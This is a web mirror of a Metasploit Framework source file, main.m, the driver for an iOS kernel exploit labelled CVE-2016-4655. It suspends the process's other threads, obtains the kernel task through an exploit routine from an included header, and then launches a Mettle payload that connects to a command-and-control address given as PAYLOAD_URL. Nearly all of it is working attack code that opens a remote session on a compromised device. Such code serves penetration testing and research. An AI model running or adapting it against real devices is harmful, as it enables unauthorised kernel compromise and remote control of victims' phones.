CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/main.m
Views: 11779
1
#import <UIKit/UIKit.h>
2
3
#include "arch.h"
4
#include "exploit64.h"
5
#include "nvpatch.h"
6
#include "set.h"
7
8
#include <mettle.h>
9
10
void suspend_all_threads() {
11
thread_act_t other_thread, current_thread;
12
unsigned int thread_count;
13
thread_act_array_t thread_list;
14
15
current_thread = mach_thread_self();
16
int result = task_threads(mach_task_self(), &thread_list, &thread_count);
17
if (result == -1) {
18
exit(1);
19
}
20
if (!result && thread_count) {
21
for (unsigned int i = 0; i < thread_count; ++i) {
22
other_thread = thread_list[i];
23
if (other_thread != current_thread) {
24
int kr = thread_suspend(other_thread);
25
if (kr != KERN_SUCCESS) {
26
mach_error("thread_suspend:", kr);
27
exit(1);
28
}
29
}
30
}
31
}
32
}
33
34
const char payload_url[256] = "PAYLOAD_URL";
35
36
void start_mettle()
37
{
38
struct mettle *m = mettle();
39
if (m == NULL) {
40
return;
41
}
42
43
c2_add_transport_uri(mettle_get_c2(m), payload_url);
44
45
mettle_start(m);
46
mettle_free(m);
47
}
48
49
int main(int argc, char * argv[]) {
50
suspend_all_threads();
51
52
vm_address_t kbase = 0;
53
task_t kernel_task = get_kernel_task(&kbase);
54
55
start_mettle();
56
57
return 0;
58
}
59
60
61
62